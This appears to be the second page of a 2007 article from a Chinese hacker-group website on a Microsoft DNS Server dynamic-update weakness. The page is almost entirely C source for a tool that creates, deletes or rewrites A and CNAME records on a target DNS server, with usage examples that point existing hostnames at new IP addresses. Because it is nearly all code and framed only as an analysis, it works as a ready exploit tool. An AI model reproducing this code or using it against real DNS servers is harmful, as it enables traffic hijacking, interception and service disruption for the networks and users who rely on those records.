| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 安全防御 >> 安全综合 >> 文章正文 用户登录 新用户注册
  针对微软DNS Server动态升级漏洞的解析          【字体:
针对微软DNS Server动态升级漏洞的解析
作者:佚名    文章来源:网络    点击数:    更新时间:2007-7-19    
} i++; } else usage(argv); } printf("[+] Gathering Credentials..\n"); //http://msdn2.microsoft.com/en-us/library/ms682007.aspx if (Credentials->UserLength==0) { status=DnsAcquireContextHandle(FALSE,NULL,&ContextHandle); //Context with default Credentials } else { status=DnsAcquireContextHandle(FALSE,Credentials,&ContextHandle); //Context with Custom Credentials } if (status == ERROR_SUCCESS) { if (CREATERECORD) { result=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA)); memset(result,'\0',sizeof(DNS_RECORDA)); result->wType=CreationType; //DNS_TYPE_A by default if (CreationType==DNS_TYPE_CNAME) { printf("[+] Creating DNS CName Record for %s (%s) \n",CreateDnsRecord,NewIpAddress); result->Data.Cname.pNameHost=NewIpAddress; } else { printf("[+] Creating DNS A Record for %s (%s)\n",CreateDnsRecord,NewIpAddress); result->Data.A.IpAddress=inet_addr(NewIpAddress); } result->pName=CreateDnsRecord;
            

         result->wDataLength=4; 

         result->Flags.S.Section=1; 

         result->Flags.S.CharSet=DnsCharSetAnsi; 

         result->pNext=NULL;       



         status=DnsModifyRecordsInSet_A(result,  //add record 

            NULL, //delete record 

            Options, 

            ContextHandle, 

            servers, 

            NULL); 

         if (status ==ERROR_SUCCESS) { 

            printf("[+] Host Created. Rechecking Record...\n"); 

            DnsRecordListFree(result,DnsFreeRecordList); 

            result=DnsQueryA(CreateDnsRecord,servers); 

         } else { 

            printf("[-] Error: Unable to create  %s (%i)\n",CreateDnsRecord,status); 

         }       

      } else if (DELETERECORD) {         

         printf("[+] Trying to resolve Host: %s before deleting\n",DeleteDnsRecord); 

         result=DnsQueryA(DeleteDnsRecord,servers); 

         if (result!=NULL) { 

            printf("[+] Trying to Delete Record. Are You Sure? (Y/N)..."); 

            i=getchar(); if (i!='y') return(-1); 

            printf("[+] Deleting record %s\n",DeleteDnsRecord);   

            status=DnsModifyRecordsInSet_A(NULL,  //add record 

               result, //delete record 

               Options, 

               ContextHandle, 

               servers, 

               NULL);       

            if (status ==ERROR_SUCCESS) { 

               printf("[+] Host Deleted. Rechecking Record %s...\n",DeleteDnsRecord); 

               DnsRecordListFree(result,DnsFreeRecordList); 

               result=DnsQueryA(DeleteDnsRecord,servers); 

            } else { 

               printf("[-] Error: Unable to Delete %s\n",DeleteDnsRecord); 

            } 

         } else { 

            printf("[-] Host %s not found\n",DeleteDnsRecord); 

         } 



      } else if (UPDATERECORD) { 

         //         exit(1); 

         printf("[+] Trying to resolve Host: %s before updating\n",TargetDnsRecord); 

         result=DnsQueryA(TargetDnsRecord,servers); 

         if (result->wType==DNS_TYPE_A ) { 

            printf("[+] Trying to update record. Are You Sure? (Y/N)..."); 

            i=getchar(); if (i!='y') return(-1); 

            result->Data.A.IpAddress=inet_addr(NewIpAddress);//Modify Dns record 

            ipaddr.S_un.S_addr = (result->Data.A.IpAddress); 

            printf("[+] Trying to set ip address of the host %s to %s \n", 



TargetDnsRecord,NewIpAddress);//inet_ntoa(ipaddr)); 

            printf("[+] Trying to Modify Record...\n"); 

            status=DnsReplaceRecordSetA(result,           

          

            

               Options, //Attempts nonsecure dynamic update. If refused, then attempts 

secure dynamic update. 

               ContextHandle, 

               servers,//pServerList, 

               NULL);//pReserved 

            if (status ==ERROR_SUCCESS) { 

               printf("[+] Host Updated. Rechecking Record...\n"); 

               DnsRecordListFree(result,DnsFreeRecordList); 

               result=DnsQueryA(TargetDnsRecord,servers); 

            } else { 

               printf("[-] Error: Unable to Delete %s\n",TargetDnsRecord); 

            } 



         } else { 

            printf("[-] Unable to Update Record (Type %x)\n",result->wType); 

            } 

      } else if (QUERYRECORD) { 

         printf("[+] Query Information for host %s...\n",TargetDnsRecord); 

         result=DnsQueryA(TargetDnsRecord,servers); 

         DnsRecordListFree(result,DnsFreeRecordList);         

      } else { 

         printf("[-] Unknown Options\n"); 

         return(-1); 

      }           

   } else { 

      printf("[-] Error Calling DnsAcquireContextHandle\n");   

   } 

   return (1); 

} 



/****************************************************************************/ 

void usage(char *argv[]) {   

   printf(" Usage:\n"); 

   printf("\t%s\t -[s]d|c|q <options>\n",argv[0]); 

   printf(" Details:\n");   

   printf("\t%s\t -s  ip        (dns Server (optional))\n",argv[0]); 

   printf("\t%s\t -d  fqdn      (Delete dns record)\n",argv[0]); 

   printf("\t%s\t -q  fqdn      (Query  dns record)\n",argv[0]); 

   printf("\t%s\t -c[a|c] ip    (Create A or CName record (default A))\n",argv[0]); 

   printf("\t%s\t -u  ip|fqdn   (Update dns record (requires -q or -c))\n",argv[0]);   

   printf("\n Examples:\n"); 

   printf("\t%s -s 10.0.0.1 -q proxy.mydomain.com -u 5.1.4.77 (Updates record)\n",argv

[0]); 

   printf("\t%s -s 10.0.0.1 -d foo.mydomain.com      (delete foo.mydomain.com record)

\n",argv[0]); 

   printf("\t%s -s 10.0.0.1 -c atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)

\n",argv[0]); 

   printf("\t%s -s 10.0.0.1 -cc www.atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)

\n",argv[0]); 

   printf("\t%s -s 10.0.0.1 -q _ldap._tcp.mydomain             (Query for srv record)

\n",argv[0]); 

   exit(0); 

} 

/****************************************************************************/

上一页  [1] [2] 

文章录入:IceRiver    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    微软推新计划打击黑客帮助安
    IE 8测试版新增安全功能 不怕
    微软11元老30年后重聚首 最"
    VMware高管称微软不会改变虚
    盖茨欢送会场面感人 与鲍尔默
    盖茨临别“祝福”微软 不会与
    灰鸽子变种NH远程控制用户偷
    06月27日病毒播报
    Data URI XSS与验证About XH
    微软将超1亿收购语义搜索Pow
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.